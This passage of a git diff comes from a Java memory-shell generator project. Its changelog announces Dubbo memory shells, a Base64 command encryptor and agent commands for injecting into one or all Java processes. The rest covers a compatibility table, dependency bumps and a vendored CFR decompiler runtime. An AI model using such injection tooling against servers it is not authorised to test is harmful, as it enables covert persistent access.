project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 1. 添加 Alibaba Dubbo 和 Apache Dubbo Service 内存马,专门针对 Dubbo Provider 的场景(#32 By @ReaJason) 2. 为 Attacher 添加默认列举 Java 进程和 `all` 参数注入所有 Java 进程的代码(与 JMG Agent.jar 命令一致) - ```bash - java -jar agent.jar # 列举所有 Java 进程 - java -jar agent.jar # 注入指定 PID Java 进程 - java -jar agent.jar all # 注入所有 Java 进程 - ``` + ```bash + java -jar agent.jar # 列举所有 Java 进程 + java -jar agent.jar # 注入指定 PID Java 进程 + java -jar agent.jar all # 注入所有 Java 进程 + ``` 3. 添加 Command Base64 Encryptor,方便测试 Base64 流量特征攻击 ### Fixed diff --git a/web/content/docs/compatibility.mdx b/web/content/docs/compatibility.mdx index 25b94a98..56803805 100644 --- a/web/content/docs/compatibility.mdx +++ b/web/content/docs/compatibility.mdx @@ -7,7 +7,7 @@ icon: Album ### 中间件以及框架 -| [Tomcat(5 ~ 11)](/docs/server-intro#tomcat) | [Jetty(6 ~ 12)](/docs/server-intro#jetty) | [GlassFish(3 ~ 7)](/docs/server-intro#glassfish) | [Payara(5 ~ 7)](/docs/server-intro#payara) | +| [Tomcat(5 ~ 11)](/docs/server-intro#tomcat) | [Jetty(6 ~ 12)](/docs/server-intro#jetty) | [GlassFish(3 ~ 8)](/docs/server-intro#glassfish) | [Payara(5 ~ 7)](/docs/server-intro#payara) | | --------------------------------------------- | ------------------------------------------- | -------------------------------------------------- | -------------------------------------------- | | Servlet | Servlet | Filter | Filter | | Filter | Filter | Listener | Listener | @@ -42,20 +42,20 @@ icon: Album | FilterManager - Agent | ServletContext - Agent | | [BES (9.5.x ~ 11.0.0)](/docs/server-intro#bes) | [TongWeb(6 ~ 8)](/docs/server-intro#tongweb) | [InforSuite AS (9 ~ 10)](/docs/server-intro#inforsuite) | -| ------------------------------------- | ---------------------------------------------- | ------------------------------------------------------- | -| Filter | Filter | Filter | -| Listener | Listener | Listener | -| Valve | Valve | Valve | -| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | -| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | +| ---------------------------------------------- | ---------------------------------------------- | ------------------------------------------------------- | +| Filter | Filter | Filter | +| Listener | Listener | Listener | +| Valve | Valve | Valve | +| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | +| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | [Apusic AS (9 ~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton) | [Dubbo Provider](/docs/server-intro#dubbo) | -| ----------------------------------------------- | --------------------------------------------- | --------------------------------------------- | -| Servlet | Filter | DubboService | -| Filter | Listener | | -| Listener | Valve | | -| FilterChain - Agent | FilterChain - Agent | | -| | ContextValve - Agent | | +| ----------------------------------------------- | --------------------------------------------- | ------------------------------------------ | +| Servlet | Filter | DubboService | +| Filter | Listener | | +| Listener | Valve | | +| FilterChain - Agent | FilterChain - Agent | | +| | ContextValve - Agent | | ### 内存马功能 diff --git a/web/content/docs/sdk.mdx b/web/content/docs/sdk.mdx index 633a962f..5b34e82a 100644 --- a/web/content/docs/sdk.mdx +++ b/web/content/docs/sdk.mdx @@ -22,7 +22,11 @@ import { Tab, Tabs } from "fumadocs-ui/components/tabs"; ``` - ```groovy implementation 'io.github.reajason:generator:2.2.0' ``` + + ```groovy + implementation 'io.github.reajason:generator:2.2.0' + ``` + 2. 如果需要使用自带的丰富打包方式,需要额外添加 packer 模块 diff --git a/web/package.json b/web/package.json index 20404758..e3dcda57 100644 --- a/web/package.json +++ b/web/package.json @@ -6,62 +6,59 @@ "build": "react-router build --mode production && bun run copy-build.js", "dev": "react-router dev", "start": "serve ./build/client", - "types:check": "react-router typegen && fumadocs-mdx && tsc --noEmit", - "postinstall": "fumadocs-mdx", + "types:check": "react-router typegen && tsc --noEmit", "lint": "oxlint", "lint:fix": "oxlint --fix --fix-suggestions --fix-dangerously .", "fmt": "oxfmt", "fmt:check": "oxfmt --check" }, "dependencies": { - "@base-ui/react": "^1.6.0", - "@hookform/resolvers": "^5.4.0", - "@orama/orama": "^3.1.18", - "@orama/stopwords": "^3.1.18", - "@orama/tokenizers": "^3.1.18", - "@react-router/node": "^7.15.1", - "@tanstack/react-query": "^5.101.2", + "@base-ui/react": "^1.7.0", + "@hookform/resolvers": "^5.9.1", + "@react-router/node": "^8.3.1", + "@run-slicer/cfr": "file:./vendor/cfr", + "@tanstack/react-query": "^5.102.8", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.42.0", - "fumadocs-core": "^16.10.6", - "fumadocs-mdx": "15.0.12", - "fumadocs-ui": "16.10.5", - "i18next": "^26.3.3", - "isbot": "^5.1.44", - "lucide-react": "^1.21.0", - "motion": "^12.42.0", - "react": "^19.2.7", + "framer-motion": "^13.1.1", + "fumadocs-core": "^16.15.4", + "fumadocs-mdx": "15.4.0", + "fumadocs-ui": "16.15.4", + "i18next": "^26.4.0", + "isbot": "^5.2.2", + "lucide-react": "^1.37.0", + "motion": "^13.1.1", + "react": "^19.2.8", "react-copy-to-clipboard": "^5.1.1", - "react-dom": "^19.2.7", - "react-hook-form": "^7.80.0", - "react-i18next": "^17.0.8", - "react-medium-image-zoom": "^5.4.8", + "react-dom": "^19.2.8", + "react-hook-form": "^7.87.0", + "react-i18next": "^17.0.12", + "react-medium-image-zoom": "^5.4.9", "react-syntax-highlighter": "^16.1.1", - "sonner": "^2.0.7", + "sonner": "^2.0.8", "tailwind-merge": "^3.6.0", "tw-animate-css": "^1.4.0", "yup": "^1.7.1" }, "devDependencies": { - "@react-router/dev": "^7.15.1", - "@tailwindcss/vite": "^4.3.1", + "@react-router/dev": "^8.3.1", + "@tailwindcss/vite": "^4.3.3", "@types/mdx": "^2.0.14", - "@types/node": "^26.0.1", - "@types/react": "^19.2.17", + "@types/node": "^26.4.0", + "@types/react": "^19.2.18", "@types/react-copy-to-clipboard": "^5.0.7", - "@types/react-dom": "^19.2.3", + "@types/react-dom": "^19.2.5", "@types/react-syntax-highlighter": "^15.5.13", - "baseline-browser-mapping": "^2.10.40", - "oxfmt": "^0.56.0", - "oxlint": "^1.71.0", - "react-router-devtools": "^6.2.1", + "baseline-browser-mapping": "^2.11.20", + "oxfmt": "^0.65.0", + "oxlint": "^1.80.0", + "react-router-devtools": "^6.2.3", "rimraf": "^6.1.3", "serve": "^14.2.6", - "tailwindcss": "^4.3.1", - "typescript": "^6.0.3", - "vite": "^8.1.0", - "vite-plugin-devtools-json": "^1.0.0", + "tailwindcss": "^4.3.3", + "typescript": "^7.0.2", + "vite": "^8.2.2", + "vite-plugin-devtools-json": "^1.1.0", "vite-tsconfig-paths": "^6.1.1" } } diff --git a/web/source.config.ts b/web/source.config.ts deleted file mode 100644 index 86831f2e..00000000 --- a/web/source.config.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { defineConfig, defineDocs } from "fumadocs-mdx/config"; - -export const docs = defineDocs({ - dir: "content/docs", - docs: { - postprocess: { - includeProcessedMarkdown: true, - }, - }, -}); - -export default defineConfig(); diff --git a/web/tsconfig.json b/web/tsconfig.json index 3b889a46..2c360d0e 100644 --- a/web/tsconfig.json +++ b/web/tsconfig.json @@ -9,8 +9,7 @@ "jsx": "react-jsx", "rootDirs": [".", "./.react-router/types"], "paths": { - "@/*": ["./app/*"], - "collections/*": ["./.source/*"] + "@/*": ["./app/*"] }, "esModuleInterop": true, "verbatimModuleSyntax": true, diff --git a/web/vendor/cfr/cfr.d.ts b/web/vendor/cfr/cfr.d.ts new file mode 100644 index 00000000..b93744d9 --- /dev/null +++ b/web/vendor/cfr/cfr.d.ts @@ -0,0 +1,10 @@ +declare module "@run-slicer/cfr" { + export type Options = Record; + + export interface Config { + source?: (name: string) => Uint8Array | null; + options?: Options; + } + + export function decompile(name: string, config?: Config): Promise; +} diff --git a/web/vendor/cfr/cfr.js b/web/vendor/cfr/cfr.js new file mode 100644 index 00000000..e82f630d --- /dev/null +++ b/web/vendor/cfr/cfr.js @@ -0,0 +1,17 @@ +const isNode = typeof process !== "undefined" && process?.versions?.node != null; +const wasmPath = async () => { + const url = new URL("./cfr.wasm", import.meta.url).href; + return isNode ? await import("node:url").then((mod) => mod.fileURLToPath(url)) : url; +}; + +let decompileFunc = null; +export const decompile = async (name, options) => { + if (!decompileFunc) { + const { load } = await import("./cfr.wasm-runtime.js"); + const { exports } = await load(await wasmPath(), { noAutoImports: true }); + + decompileFunc = exports.decompile; + } + + return decompileFunc(name, options); +}; diff --git a/web/vendor/cfr/cfr.wasm b/web/vendor/cfr/cfr.wasm new file mode 100644 index 00000000..a2debba8 Binary files /dev/null and b/web/vendor/cfr/cfr.wasm differ diff --git a/web/vendor/cfr/cfr.wasm-runtime.js b/web/vendor/cfr/cfr.wasm-runtime.js new file mode 100644 index 00000000..98d0c6de --- /dev/null +++ b/web/vendor/cfr/cfr.wasm-runtime.js @@ -0,0 +1,1040 @@ +var n = new Map(); +var s = /.+:wasm-function\[[0-9]+]:0x([0-9a-f]+).*/; +function D(e) { + let t = n.get(e); + if (typeof t === "undefined") { + t = new Function("return " + e + ";"); + n.set(e, t); + } + return t(); +} +function O(e, t) { + new Function("value", e + " = value;")(t); +} +function x(e, t, n) { + const r = { exports: null, userExports: t, stackDeobfuscator: null }; + if (!n) { + o(e); + } + a(e); + l(e); + i(e, r); + u(e); + f(e, r, n); + e.teavmMath = Math; + return { + supplyExports(e) { + r.exports = e; + }, + supplyStackDeobfuscator(e) { + r.stackDeobfuscator = e; + }, + }; +} +var _ = Symbol("javaException"); +var E = class extends Error { + #context; + [_]; + constructor(e, t) { + super(); + this.#context = e; + this[_] = t; + e.exports["teavm.setJsException"](t, this); + } + get message() { + const e = this.#context.exports["teavm.exceptionMessage"]; + const t = this.#context.exports["teavm.stringToJs"]; + if (typeof e === "function" && typeof t === "function") { + const n = e(this[_]); + if (n != null) { + return t(n); + } + } + return "(could not fetch message)"; + } +}; +function o(e) { + e["wasm:js-string"] = { + fromCharCode: (e) => String.fromCharCode(e), + fromCharCodeArray: () => { + throw new Error("Not supported"); + }, + intoCharCodeArray: () => { + throw new Error("Not supported"); + }, + concat: (e, t) => e + t, + charCodeAt: (e, t) => e.charCodeAt(t), + length: (e) => e.length, + substring: (e, t, n) => e.substring(t, n), + }; +} +function a(e) { + e.teavmDate = { + currentTimeMillis: () => new Date().getTime(), + dateToString: (e) => new Date(e).toString(), + getYear: (e) => new Date(e).getFullYear(), + setYear(e, t) { + const n = new Date(e); + n.setFullYear(t); + return n.getTime(); + }, + getMonth: (e) => new Date(e).getMonth(), + setMonth(e, t) { + const n = new Date(e); + n.setMonth(t); + return n.getTime(); + }, + getDate: (e) => new Date(e).getDate(), + setDate(e, t) { + const n = new Date(e); + n.setDate(t); + return n.getTime(); + }, + create: (e, t, n, r, o, a) => new Date(e, t, n, r, o, a).getTime(), + createFromUTC: (e, t, n, r, o, a) => Date.UTC(e, t, n, r, o, a), + }; +} +function l(e) { + let t = ""; + let n = ""; + e.teavmConsole = { + putcharStderr(e) { + if (e === 10) { + console.error(t); + t = ""; + } else { + t += String.fromCharCode(e); + } + }, + putcharStdout(e) { + if (e === 10) { + console.log(n); + n = ""; + } else { + n += String.fromCharCode(e); + } + }, + }; +} +function k(e, t) { + return (((e - 1) >> t) + 1) << t; +} +async function A(u, e, t, n) { + const r = e.memory ?? {}; + const o = t ? M(t) : {}; + let f = r.external; + const a = e.stack ?? 2 * (1 << 20); + let s = o.dataSize ?? 0; + let l = 0; + for (const h of n) { + const d = C(h.wasmModule); + const g = d.memorySize ?? 0; + const v = d.memoryAlignment ?? 1; + const x = d.tableSize ?? 0; + const A = d.tableAlignment ?? 1; + if (g > 0) { + s = k(s, v); + h.memoryOffset = s; + s += g; + } + if (x > 0) { + l = k(l, A); + h.tableOffset = l; + l += x; + } + } + let p = -1; + let m = -1; + let y = -1; + if (n.length > 0) { + s = k(s, 4); + p = s; + m = s; + s += a; + s = k(s, 4); + y = s; + } + let c = r.maxSize; + s = k(s, 8); + const i = s; + if (!f) { + const j = o.min ?? 0; + s += j; + s = Math.max(s, r.minSize ?? 0); + const J = r.shared ?? o.shared ?? false; + c ??= ((1 << 31) - 1) | 0; + const S = Math.max(j, n.length === 0 ? 1 : 256); + const W = J ? S : ((c - 1) >> 16) + 1; + f = new WebAssembly.Memory({ shared: J, initial: S, maximum: W }); + } + const b = l > 0 ? new WebAssembly.Table({ initial: l, element: "anyfunc" }) : null; + u.env = { memory: f }; + u.teavmMemory = { + linearMemory() { + return f.buffer; + }, + notifyHeapResized: r.onResize ?? function () {}, + heapOffset: new WebAssembly.Global({ value: "i32", mutable: false }, i), + maxSize: new WebAssembly.Global({ value: "i32", mutable: false }, c), + }; + const w = { malloc: null, free: null, realloc: null }; + await Promise.all( + n.map(async ({ name: e, wasmModule: n, jsLoader: t, tableOffset: r, memoryOffset: o }) => { + const a = await t({ + wasmMemory: f, + instantiateWasm(e, t) { + e.env = { + memory: f, + malloc: (e) => w.malloc(e), + free: (e) => w.free(e), + realloc: (e, t) => w.realloc(e, t), + __indirect_function_table: b, + __memory_base: new WebAssembly.Global({ value: "i32", mutable: false }, o ?? 0), + __table_base: new WebAssembly.Global({ value: "i32", mutable: false }, r ?? 0), + __stack_pointer: new WebAssembly.Global({ value: "i32", mutable: true }, p), + }; + e["GOT.mem"] = { + __stack_low: new WebAssembly.Global({ value: "i32", mutable: true }, m), + __stack_high: new WebAssembly.Global({ value: "i32", mutable: true }, y), + }; + WebAssembly.instantiate(n, e).then(t); + }, + }); + const s = {}; + for (const { name: l, kind: c } of WebAssembly.Module.exports(n)) { + if (c === "function") { + const i = a["_" + l]; + if (typeof i === "function") { + s[l] = i; + } + } + } + u[e] = s; + }), + ); + return w; +} +var c = class { + ptr = 0; + array; + constructor(e) { + this.array = e; + } + readVarInt() { + let e = 0; + let t = 0; + while (true) { + const n = this.array[this.ptr++]; + e |= (n & 127) << t; + if ((n & 128) === 0) { + return e; + } + t += 7; + } + } +}; +function C(e) { + const t = WebAssembly.Module.customSections(e, "dylink.0"); + if (t.length !== 1) { + return {}; + } + const n = new c(new Int8Array(t[0])); + const r = {}; + while (n.ptr < n.array.length) { + const o = n.array[n.ptr++]; + const a = n.ptr + n.readVarInt(); + switch (o) { + case 1: + r.memorySize = n.readVarInt(); + r.memoryAlignment = n.readVarInt(); + r.tableSize = n.readVarInt(); + r.tableAlignment = n.readVarInt(); + break; + } + n.ptr = a; + } + return r; +} +function i(e, a) { + const r = new FinalizationRegistry((e) => { + const t = a.exports["teavm.reportGarbageCollectedValue"]; + if (typeof t !== "undefined") { + t(e.queue, e.ref); + } + }); + const n = new FinalizationRegistry((e) => { + const t = a.exports?.["teavm.reportGarbageCollectedString"]; + if (typeof t === "function") { + t(e); + } + }); + e.teavm = { + createWeakRef(e, t, n) { + if (n !== null) { + r.register(e, { ref: t, queue: n }); + } + return new WeakRef(e); + }, + deref: (e) => { + const t = e.deref(); + return t !== void 0 ? t : null; + }, + createStringWeakRef(e, t) { + n.register(e, t); + return new WeakRef(e); + }, + stringDeref: (e) => e.deref(), + takeStackTrace(r) { + const e = new Error().stack ?? ""; + const t = []; + for (const n of e.split("\n")) { + const o = s.exec(n); + if (o !== null && o.length >= 2) { + t.push(parseInt(o[1], 16)); + } + } + return { + getStack() { + let n; + if (a.stackDeobfuscator) { + try { + n = a.stackDeobfuscator(t); + } catch (e) { + console.warn("Could not deobfuscate stack", e); + } + } + if (!n) { + n = t.map((e) => ({ + className: "java.lang.Throwable$FakeClass", + method: "fakeMethod", + file: "Throwable.java", + line: e, + })); + } else if (r !== null) { + if ( + n.length > 0 && + n[0].className === "java.lang.Throwable" && + n[0].method === "fillInStackTrace" + ) { + n.shift(); + } + let t = -1; + for (let e = 0; e < n.length; ++e) { + if (n[e].method !== "") { + break; + } + if (n[e].className === r) { + t = e + 1; + break; + } + } + if (t >= 0) { + n.splice(0, t); + } + } + return n; + }, + }; + }, + decorateException(e) { + new E(a, e); + }, + }; +} +function u(e) { + e.teavmAsync = { + offer(e, t, n) { + const r = Math.max(0, n - Date.now()); + return setTimeout(() => { + t(e); + }, r); + }, + kill(e) { + clearTimeout(e); + }, + }; +} +function M(e) { + const t = WebAssembly.Module.customSections(e, "teavm.memoryRequirements"); + if (t.length !== 1) { + return {}; + } + return JSON.parse(new TextDecoder().decode(t[0])); +} +function f(t, s, e) { + const l = Symbol("javaObject"); + const c = Symbol("functions"); + const o = Symbol("functionOrigin"); + const i = Symbol("wrapperCallMarker"); + const a = new WeakMap(); + const r = new WeakMap(); + const u = new Map(); + const f = new FinalizationRegistry((e) => u.delete(e)); + const n = new WeakMap(); + let p = 2463534242; + const m = () => { + let e = p; + e ^= e << 13; + e ^= e >>> 17; + e ^= e << 5; + p = e; + return e; + }; + function y(e) { + return e; + } + function b(t) { + let n = ""; + const e = t.charAt(0); + n += w(e) ? e : "_"; + for (let e = 1; e < t.length; ++e) { + const r = t.charAt(e); + n += h(r) ? r : "_"; + } + return n; + } + function w(e) { + return (e >= "A" && e <= "Z") || (e >= "a" && e <= "z") || e === "_" || e === "$"; + } + function h(e) { + return w(e) || (e >= "0" && e <= "9"); + } + function d(e, t, n) { + if (e === null) { + O(t, n); + } else { + e[t] = n; + } + } + function g(t) { + if (t instanceof WebAssembly.Exception) { + const n = s.exports["teavm.javaException"]; + const r = s.exports["teavm.getJsException"]; + if (t.is(n)) { + const o = t.getArg(n, 0); + const a = A(o); + if (a !== null) { + return a; + } + let e = r(o); + if (typeof e === "undefined") { + e = new E(s, o); + } + return e; + } + } + return t; + } + function v(e) { + if (_ in e) { + return e[_]; + } else { + return s.exports["teavm.js.wrapException"](e); + } + } + function x(e) { + s.exports["teavm.js.throwException"](v(e)); + throw e; + } + function A(e) { + return s.exports["teavm.js.extractException"](e); + } + function j(e) { + throw g(e); + } + function J(e, t) { + try { + return e !== null ? e[t] : D(t); + } catch (e) { + x(e); + } + } + function S(t, e) { + const n = []; + const r = []; + for (let e = 0; e < t.length; ++e) { + const a = "p" + e; + n.push(a); + r.push(a); + } + if (e) { + const s = r.length - 1; + r[s] = "..." + r[s]; + } + const o = r.join(", "); + return new Function( + "rethrowJavaAsJs", + "fn", + `return function(${o}) { + try { + return fn(${n.join(", ")}); + } catch (e) { + rethrowJavaAsJs(e); + } +};`, + )(j, t); + } + function W(e, t) { + return new Function( + "constructor", + `return function ${e}(marker, javaObject) { + return constructor.call(this, marker, javaObject); +} +`, + )(t); + } + t.teavmJso = { + stringBuiltinsSupported: () => e, + isUndefined: (e) => typeof e === "undefined", + emptyArray: () => [], + appendToArray: (e, t) => e.push(t), + unwrapBoolean: (e) => (e ? 1 : 0), + wrapBoolean: (e) => !!e, + getProperty: J, + setProperty: d, + setPropertyPure: d, + global(e) { + try { + return D(e); + } catch (e) { + x(e); + } + }, + createClass(e, t, r) { + e = b(e ?? "JavaObject"); + let o; + const n = W(e, function e(t, n) { + if (t === i) { + o.call(this, n); + } else if (r === null) { + throw new Error("This class can't be instantiated directly"); + } else { + try { + return r.apply(null, arguments); + } catch (e) { + j(e); + } + } + }); + if (t === null) { + o = function (e) { + this[l] = e; + this[c] = null; + }; + } else { + o = function (e) { + t.call(this, e); + }; + } + n.prototype = Object.create(t ? t.prototype : Object.prototype); + n.prototype.constructor = n; + const a = W(e, function (e) { + return n.call(this, i, e); + }); + a[i] = n; + a.prototype = n.prototype; + return a; + }, + exportClass(e) { + return e[i]; + }, + defineMethod(e, t, n, r) { + const o = []; + const a = []; + for (let e = 1; e < n.length; ++e) { + const l = "p" + e; + o.push(l); + a.push(l); + } + if (r) { + const c = a.length - 1; + a[c] = "..." + a[c]; + } + const s = a.join(", "); + e.prototype[t] = new Function( + "rethrowJavaAsJs", + "fn", + `return function(${s}) { + try { + return fn(${["this", ...o].join(", ")}); + } catch (e) { + rethrowJavaAsJs(e); + } +};`, + )(j, n); + }, + defineStaticMethod(e, t, n, r) { + e[t] = S(n, r); + }, + defineFunction: S, + defineProperty(e, t, n, r) { + const o = { + get() { + try { + return n(this); + } catch (e) { + j(e); + } + }, + }; + if (r !== null) { + o.set = function (e) { + try { + r(this, e); + } catch (e) { + j(e); + } + }; + } + Object.defineProperty(e.prototype, t, o); + }, + defineStaticProperty(e, t, n, r) { + const o = { + get() { + try { + return n(); + } catch (e) { + j(e); + } + }, + }; + if (r !== null) { + o.set = function (e) { + try { + r(e); + } catch (e) { + j(e); + } + }; + } + Object.defineProperty(e, t, o); + }, + javaObjectToJS(e, t) { + if (e === null) { + return null; + } + const n = a.get(e); + if (typeof n != "undefined") { + const o = n.deref(); + if (typeof o !== "undefined") { + return o; + } + } + const r = new t(e); + a.set(e, new WeakRef(r)); + return r; + }, + unwrapJavaObject(e) { + return e[l]; + }, + asFunction(e, t) { + if (e === null || e === void 0) { + return null; + } + let n = e[c]; + if (n === null) { + n = Object.create(null); + e[c] = n; + } + let r = n[t]; + if (typeof r !== "function") { + r = function () { + return e[t].apply(e, arguments); + }; + r[o] = e; + n[t] = r; + } + return r; + }, + functionAsObject(t, e) { + if (t === null || t === void 0) { + return null; + } + const n = t[o]; + if (typeof n !== "undefined") { + const r = n[c]; + if (r !== void 0 && r[e] === t) { + return n; + } + } + return { + [e]: function (...e) { + try { + return t(...e); + } catch (e) { + j(e); + } + }, + }; + }, + wrapObject(t) { + if (t === null) { + return null; + } + if (typeof t === "object" || typeof t === "function" || typeof t === "symbol") { + const n = t; + let e = n[l]; + if (typeof e === "object") { + return e; + } + e = r.get(t)?.deref(); + if (e !== void 0) { + return e; + } + e = s.exports["teavm.jso.createWrapper"](t); + r.set(t, new WeakRef(e)); + return e; + } else { + let e = u.get(t)?.deref(); + if (e !== void 0) { + return e; + } + e = s.exports["teavm.jso.createWrapper"](t); + u.set(t, new WeakRef(e)); + f.register(e, t); + return e; + } + }, + isPrimitive: (e, t) => typeof e === t || e === null, + instanceOf: (e, t) => e instanceof t, + instanceOfOrNull: (e, t) => e === null || e instanceof t, + sameRef: (e, t) => e === t, + hashCode: (t) => { + if (typeof t === "object" || typeof t === "function" || typeof t === "symbol") { + let e = n.get(t); + if (typeof e === "number") { + return e; + } + e = m(); + n.set(t, e); + return e; + } else if (typeof t === "number") { + return t | 0; + } else if (typeof t === "bigint") { + return Number(BigInt.asIntN(32, t)); + } else if (typeof t === "boolean") { + return t ? 1 : 0; + } else { + return 0; + } + }, + apply: (e, t, n) => { + try { + if (e === null) { + const r = D(t); + return r(...n); + } else { + return e[t](...n); + } + } catch (e) { + x(e); + } + }, + concatArray: (e, t) => [...e, ...t], + getJavaException: (e) => e[_], + getJSException: (e) => { + const t = s.exports["teavm.getJsException"]; + return t(e); + }, + jsExports: () => s.userExports, + }; + for (const M of [ + "wrapByte", + "wrapShort", + "wrapChar", + "wrapInt", + "wrapLong", + "wrapFloat", + "wrapDouble", + "unwrapByte", + "unwrapShort", + "unwrapChar", + "unwrapInt", + "unwrapLong", + "unwrapFloat", + "unwrapDouble", + ]) { + t.teavmJso[M] = y; + } + function k(e) { + try { + return e(); + } catch (e) { + x(e); + } + } + const C = []; + for (let e = 0; e < 32; ++e) { + const F = C.length === 0 ? "" : C.join(", "); + const T = [...C, "body"].join(", "); + t.teavmJso["createFunction" + e] = new Function( + "wrapCallFromJavaToJs", + ...C, + "body", + `return new Function('wrapCallFromJavaToJs', ${T}).bind(this, wrapCallFromJavaToJs);`, + ).bind(null, k); + t.teavmJso["bindFunction" + e] = (e, ...t) => e.bind(null, ...t); + t.teavmJso["callFunction" + e] = new Function( + "rethrowJsAsJava", + "fn", + ...C, + `try { + return fn(${F}); +} catch (e) { + rethrowJsAsJava(e); +}`, + ).bind(null, x); + t.teavmJso["callMethod" + e] = new Function( + "rethrowJsAsJava", + "getGlobalName", + "instance", + "method", + ...C, + `try { + return instance !== null + ? instance[method](${F}) + : getGlobalName(method)(${F}); +} catch (e) { + rethrowJsAsJava(e); +}`, + ).bind(null, x, D); + t.teavmJso["construct" + e] = new Function( + "rethrowJsAsJava", + "constructor", + ...C, + `try { + return new constructor(${F}); +} catch (e) { + rethrowJsAsJava(e); +}`, + ).bind(null, x); + t.teavmJso["arrayOf" + e] = new Function(...C, "return [" + F + "]"); + C.push("p" + (e + 1)); + } +} +function e(e) { + return new Proxy(e, { + get(e, t) { + const n = e[t]; + return new WebAssembly.Global({ value: "externref", mutable: false }, n); + }, + }); +} +async function j(e, o) { + const t = []; + const n = {}; + for (const { module: a, name: r } of p(e)) { + if (a in o) { + continue; + } + let e = n[a]; + if (e === void 0) { + const s = []; + e = s; + n[a] = e; + t.push( + (async () => { + const e = await import(a); + const t = {}; + for (const n of s) { + const r = n === "__self__" ? e : e[n]; + t[n] = new WebAssembly.Global({ value: "externref", mutable: false }, r); + } + o[a] = t; + })(), + ); + } + e.push(r); + } + if (t.length === 0) { + return; + } + await Promise.all(t); +} +function p(e) { + const t = WebAssembly.Module.customSections(e, "teavm.imports"); + if (t.length !== 1) { + return WebAssembly.Module.imports(e).filter((e) => e.kind === "global"); + } + return JSON.parse(new TextDecoder().decode(t[0])); +} +async function t(e, t) { + if (!t) { + t = {}; + } + const n = t.nodejs || typeof process !== "undefined"; + const r = t.emscriptenModules ?? {}; + const o = t.stackDeobfuscator ?? {}; + const a = o.infoLocation ?? "auto"; + const s = J(e, n); + const [l, c, i, u] = await Promise.all([ + o.enabled ? W(e, o, n) : Promise.resolve(null), + s, + T(e, a, o, n), + I(r, n), + ]); + const f = {}; + const p = {}; + const m = x(f, p, await S()); + const y = await A(f, t, c, u); + if (typeof t.installImports !== "undefined") { + t.installImports(f); + } + if (!t.noAutoImports) { + await j(c, f); + } + const b = await WebAssembly.instantiate(c, f); + y.malloc = b.exports["teavm.malloc"]; + y.free = b.exports["teavm.free"]; + y.realloc = b.exports["teavm.realloc"]; + m.supplyExports(b.exports); + if (l) { + const h = a === "auto" || a === "embedded" ? c : null; + const d = F(h, i, l); + if (d !== null) { + m.supplyStackDeobfuscator(d); + } + } + const w = { exports: p, instance: b, module: c }; + for (const g in b.exports) { + const v = b.exports[g]; + if (v instanceof WebAssembly.Global) { + Object.defineProperty(p, g, { get: () => v.value }); + } + } + return w; +} +async function J(e, t) { + if (typeof e !== "string") { + return await WebAssembly.compile(e, { builtins: ["js-string"] }); + } + const [n, r] = await m(e, t); + const o = await WebAssembly.compileStreaming(n, { builtins: ["js-string"] }); + r(); + return o; +} +var r = null; +function S() { + if (r === null) { + r = (async () => { + const e = new Int8Array([ + 0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 1, 127, 1, 100, 111, 2, 31, 1, 14, 119, 97, 115, + 109, 58, 106, 115, 45, 115, 116, 114, 105, 110, 103, 12, 102, 114, 111, 109, 67, 104, 97, + 114, 67, 111, 100, 101, 0, 0, 3, 1, 0, 5, 4, 1, 1, 0, 0, 7, 10, 1, 6, 109, 101, 109, 111, + 114, 121, 2, 0, 10, -127, -128, -128, 0, 0, + ]); + try { + const t = new Response(e, { headers: { "Content-Type": "application/wasm" } }); + const n = await WebAssembly.compileStreaming(t, { builtins: ["js-string"] }); + await WebAssembly.instantiate(n, {}); + return true; + } catch (e) { + return false; + } + })(); + } + return r; +} +async function W(e, t, n) { + if (typeof e !== "string" && !t.path) { + return null; + } + try { + const r = {}; + const o = await J(t.path ?? `${e}-deobfuscator.wasm`, n); + const a = x(r, {}, await S()); + await A(r, {}, o, []); + const s = await WebAssembly.instantiate(o, r); + a.supplyExports(s.exports); + return s; + } catch (e) { + console.warn("Could not load deobfuscator", e); + return null; + } +} +async function m(e, t) { + if (!t) { + const n = await fetch(e); + return [n, () => {}]; + } else { + const r = await b(); + const o = await r.open(e, "r"); + const a = await o.readableWebStream(); + const n = new Response(a, { headers: { "Content-Type": "application/wasm" } }); + return [n, () => o.close()]; + } +} +var y; +async function b() { + if (!y) { + y = import("node:fs/promises"); + } + return await y; +} +function F(e, t, n) { + let r = null; + let o = false; + function a() { + if (!o) { + o = true; + if (t !== null) { + try { + r = n.exports["createFromExternalFile"].value(t); + } catch (e) { + console.warn("Could not load create deobfuscator", e); + } + } + if (r == null && e !== null) { + try { + r = n.exports["createForModule"].value(e); + } catch (e) { + console.warn("Could not create deobfuscator from module data", e); + } + } + } + } + return (e) => { + a(); + return r !== null ? r.deobfuscate(e) : []; + }; +} +async function T(e, t, n, r) { + if (!n.enabled) { + return null; + } + if (typeof e !== "string" && !n.externalInfoPath) { + return null; + } + if (t !== "auto" && t !== "external") { + return null; + } + if (typeof n.externalInfoPath === "object" && n.externalInfoPath instanceof Int8Array) { + return n.externalInfoPath; + } + const o = n.externalInfoPath ?? e + ".teadbg"; + let a; + if (!r) { + const s = await fetch(o); + if (!s.ok) { + return null; + } + a = await s.arrayBuffer(); + } else { + const l = await b(); + a = (await l.readFile(o)).buffer; + } + return new Int8Array(a); +} +async function I(e, c) { + const t = Object.entries(e); + return Promise.all( + t.map(async ([e, { pathToJs: t, pathToWasm: n }]) => { + const [r, o] = await m(n, c); + const [a, s] = await Promise.all([import(t), WebAssembly.compileStreaming(r)]); + const l = { name: e, jsLoader: a.default, wasmModule: s }; + o(); + return l; + }), + ); +} +export { x as defaults, t as load, e as wrapImport }; diff --git a/web/vendor/cfr/package.json b/web/vendor/cfr/package.json new file mode 100644 index 00000000..f0cf1048 --- /dev/null +++ b/web/vendor/cfr/package.json @@ -0,0 +1,24 @@ +{ + "name": "@run-slicer/cfr", + "version": "0.1.6-0.152", + "description": "A JavaScript port of the CFR decompiler (https://github.com/leibnitz27/cfr).", + "keywords": [ + "cfr", + "decompilation", + "decompiler", + "java" + ], + "license": "MIT", + "author": "run-slicer", + "type": "module", + "main": 